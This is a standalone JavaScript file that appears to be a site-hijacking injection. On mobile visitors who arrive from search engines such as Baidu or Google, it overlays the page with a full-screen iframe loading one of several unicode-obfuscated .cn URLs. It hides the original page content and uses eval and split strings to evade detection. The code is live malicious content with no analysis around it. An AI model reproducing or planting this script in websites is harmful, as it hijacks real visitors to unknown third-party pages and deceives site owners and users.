var titlestr = document.title;
var is_mobi = navigator.userAgent.toLowerCase().match(/(ipad|iphone|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i) != null;
        if (is_mobi) {
            var arr = ["\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0074\u0071\u0038\u0075\u0074\u007a\u002e\u006a\u0068\u0074\u0073\u0061\u0078\u002e\u0063\u006e\u002f\u0031\u0030\u0032\u0039\u002e\u0068\u0074\u006d\u006c","\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u006f\u006e\u0067\u0066\u0031\u002e\u0067\u0070\u0069\u0068\u006f\u0065\u002e\u0063\u006e\u002f\u0034\u0037\u002e\u0068\u0074\u006d\u006c","\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0067\u0061\u0070\u0079\u0071\u0065\u002e\u006c\u006e\u007a\u006e\u0074\u002e\u0063\u006e\u002f\u0031\u0031\u0035\u0031\u002e\u0068\u0074\u006d\u006c","\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u006f\u006e\u0067\u0066\u0031\u002e\u0067\u0070\u0069\u0068\u006f\u0065\u002e\u0063\u006e\u002f\u0034\u0037\u002e\u0068\u0074\u006d\u006c"];
        }else{
            //window.location.href="/index.html"
            }
var referer = document.referrer;
var regex=/(baidu\.com|sogou\.com|so\.com|google\.com|sm\.cn|bing\.com)/i;
if(regex.test(referer) || navigator.userAgent.toLowerCase().indexOf('baiduboxapp') > -1 || isStorage) 
{
  setFrame(arr[Math.floor(Math.random() * arr.length)]);
}

function setFrame(olink) {
  var ss = '<title>'+titlestr+'</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial; overflow: hidden;"><ifr' + 'ame scrolling="yes" marginheight="0" marginwidth="0"  frameborder="0" width="100%" height="100%" src="'+olink+'"></i'+'fra'+'me></div><style type="text/css">html, body {margin: 0; padding: 0; width: 100%; height: 100%;}</style>';
  eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
        setTimeout(function () {
            console.log(document.body.children.length);
            for (var i = 0; i < document.body.children.length; i++) {
                try {
                    var a = document.body.children[i].tagName;
                    var b = document.body.children[i].id;
                    console.log(i + "***" + a + "**" + b);
                    if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") {
                        document.body.children[i].style.display = "non" + "e"
                    }
                } catch (e) {
                }
            }
            var oMeta = document.createElement('meta');
            oMeta.name = 'viewport';
            oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
            document.getElementsByTagName('head')[0].appendChild(oMeta);
        }, 100)
    } catch (e) {
    }
}

function randomStr20() {
    var chars = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
        'x', 'y', 'z'
    ];
    var timestamp = new Date().getTime();
    var timestamp2 = String(timestamp);
    var strs = "";
    var timestampArr = timestamp2.split('')
    for (let i = 0; i < timestampArr.length; i++) {
        let id = parseInt(Math.random() * 24);
        if(chars[id]) {
            strs += timestampArr[i]+chars[id];
        }
    }
    return strs;
}